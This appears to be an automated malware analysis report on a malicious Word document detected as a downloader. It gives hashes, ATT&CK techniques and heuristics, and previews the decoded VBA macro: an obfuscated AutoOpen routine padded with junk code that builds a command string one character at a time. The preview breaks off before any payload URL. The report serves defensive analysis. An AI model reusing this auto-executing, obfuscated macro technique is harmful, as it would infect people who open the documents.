Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2aa199bf3b6ec6cb…

MALICIOUS

Office (OLE)

245.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2018-09-04
MD5: f81a63f0672761e9cdaec032fbea523c SHA-1: 6523834de16cab75a27959f73329691c4b2530fe SHA-256: 2aa199bf3b6ec6cb4f76d01c06f71d5bb69354e6b0aecc2aafa6893086c8657f
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. The macro is designed to execute automatically upon opening the document. The ClamAV detection 'Doc.Downloader.Valyria-6595163-0' further supports its malicious nature, suggesting it functions as a downloader. The obfuscated VBA code likely attempts to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 71227 bytes
SHA-256: 0188d59431170299182700d910688c99ebb2b392f9106586c3d91e9ff92fe1af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub pUWEnYPiWIVu()
Debug.Print "cuvyCUqvyXumylU"
Dim xUJiBiBEfOSyFi
xUJiBiBEfOSyFi = Log(6)

xUJiBiBEfOSyFi = xUJiBiBEfOSyFi + Log(12)

Dim aIHIBAieFItYgAHUo
aIHIBAieFItYgAHUo = Log(8)

aIHIBAieFItYgAHUo = aIHIBAieFItYgAHUo + Log(12)
giiumaBHETOh = 82656
Dim KYSanyMiSeHV
hYTXUtvotU = 59634
KYSanyMiSeHV = Rnd(112)
If KYSanyMiSeHV > 11082 Then
   KYSanyMiSeHV = Exp(2)
Dim PELEiyPYvuweLAhy
PELEiyPYvuweLAhy = Rnd(135)
If PELEiyPYvuweLAhy > 39209 Then
   PELEiyPYvuweLAhy = Exp(5)
End If
Dim CIGOXOMIsoJAkeToxcoVAw
CIGOXOMIsoJAkeToxcoVAw = Rnd(113)
If CIGOXOMIsoJAkeToxcoVAw > 15948 Then
   CIGOXOMIsoJAkeToxcoVAw = Exp(3)
End If
End If

Dim cahEpuwevyNwSEiYFfeGe
Dim WUGazDebISEfiQaquQ
WUGazDebISEfiQaquQ = Log(6)

WUGazDebISEfiQaquQ = WUGazDebISEfiQaquQ + Log(11)
NodOZYGogIMymegAtIn = Val("95970.4") & "gOiAlYaUzAgyWOQynImiJEl"
cahEpuwevyNwSEiYFfeGe = Rnd(132)
If cahEpuwevyNwSEiYFfeGe > 66021 Then
   cahEpuwevyNwSEiYFfeGe = Exp(2)
Dim SeLyXiQOlyW
SeLyXiQOlyW = Rnd(103)
If SeLyXiQOlyW > 42806 Then
   SeLyXiQOlyW = Exp(3)
End If
Dim iodyKYluBoGBepuR
For iodyKYluBoGBepuR = 1 To 11
   Dim ciBazyJEJipiWAsfuRYvYGE
   ciBazyJEJipiWAsfuRYvYGE = Fix(44285)
Next
End If
Dim lobOWaayRyD
lobOWaayRyD = Log(10)

lobOWaayRyD = lobOWaayRyD + Log(11)
Debug.Print "DOZIBuTYryJ"
End Sub
Sub AutoOpen()
Debug.Print "ffoTUgEQamE"
BIcaFUVeSiWA = 98588
MiFUiunYhYiuB = 66884
On Error Resume Next
Debug.Print "HeVilpIaUwoNYzInu"
NIisUFomE = Val("94127.1") & "meZeViVuBEDawAaOiepywUGA"
Dim jINYGEZoeCyGEq
bypUiYqoXYMEcASoBycIJOW = InStr("puRabAxuqAxaZokNAlugyBy", "puRabAxuqAxaZokNAlugyBypuRabAxuqAxaZokNAlugyBy")
Dim wOvbIqoruMIbuRVYheqYT
wOvbIqoruMIbuRVYheqYT = Rnd(126)
If wOvbIqoruMIbuRVYheqYT > 85832 Then
   wOvbIqoruMIbuRVYheqYT = Exp(6)
End If
jINYGEZoeCyGEq = Rnd(138)
If jINYGEZoeCyGEq > 50463 Then
   jINYGEZoeCyGEq = Exp(8)
End If


POcuCIsuCIkUgigig = InStr("KYkaTEQIgubypAtEzaFyT", "KYkaTEQIgubypAtEzaFyTKYkaTEQIgubypAtEzaFyT")
Dim buKAHYKOxItYkoNi
buKAHYKOxItYkoNi = Log(10)

buKAHYKOxItYkoNi = buKAHYKOxItYkoNi + Log(10)
wOWUilIwydHYbuGUN = ""

Debug.Print "tADuAXAWITeSacohetYD"

sojNeVaayGqIW = Val("35881.8") & "TihEROtynOpEzDOvyK"
 wOWUilIwydHYbuGUN = wOWUilIwydHYbuGUN + IIf((196 + 392) = 588, "s", "E")
Dim korawePAjyPBUGozY
korawePAjyPBUGozY = Log(6)

korawePAjyPBUGozY = korawePAjyPBUGozY + Log(10)
Dim DALORAcaDJ
DALORAcaDJ = Log(10)

DALORAcaDJ = DALORAcaDJ + Log(13)

Dim sOhIbyWajYB
For sOhIbyWajYB = 9 To 12
   Dim LIHAiUiciMiWiF
   LIHAiUiciMiWiF = Fix(82457)
Next
Debug.Print "zUcofIRYVonAxEpoaAi"
wOWUilIwydHYbuGUN = wOWUilIwydHYbuGUN + IIf((30 + 60) = 90, "c", "Jz")
Dim GISeLeVVagOCEWUPUiOd
GISeLeVVagOCEWUPUiOd = Rnd(1210)
If GISeLeVVagOCEWUPUiOd > 4065 Then
   GISeLeVVagOCEWUPUiOd = Exp(10)
End If
Dim seLunOgYRo
For seLunOgYRo = 8 To 10
   Dim ZIqodiqyReWiROmuheDYFU
   ZIqodiqyReWiROmuheDYFU = Fix(48548)
Next
aicUTkLUQaLNI = InStr("mIruSEsuxEnyAZAlo", "mIruSEsuxEnyAZAlomIruSEsuxEnyAZAlo")

Debug.Print "MozEMeLURemYGEXaluM"
DIruFiToRUbEwuSADIBEkOn = InStr("KoXIHabOsiLrO", "KoXIHabOsiLrOKoXIHabOsiLrO")
vyZupdigIPIPxiR = Val("67733.8") & "qiCyTUBGOmOjAVyJexUruNO"
DoRSurEDoV = Val("32993.10") & "FoXoReLfYaiXU"
cAGDmuQIlE = InStr("GiPUmImeTYvuaUbIJOCeJ", "GiPUmImeTYvuaUbIJOCeJGiPUmImeTYvuaUbIJOCeJ")
wOWUilIwydHYbuGUN = wOWUilIwydHYbuGUN + IIf((225 + 450) = 675, "r", "RL")
Dim iyKeniTutaPAzJyQ
For iyKeniTutaPAzJyQ = 6 To 11
   Dim WOreSEJUKYxyNu
   WOreSEJUKYxyNu = Fix(6732)
Next
Dim ZyjAgeigyNYPItUFA
ZyjAgeigyNYPItUFA = Log(3)

ZyjAgeigyNYPItUFA = ZyjAgeigyNYPItUFA + Log(13)

Dim TIdniQASowe
TIdniQASowe = Rnd(1110)
If TIdniQASowe > 69940 Then
   TIdniQASowe = Exp(10)
End If
Dim pOSemivYBIfOtoSa
Debug.Print "lanyrupIhuBUYxZYPu"
For 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.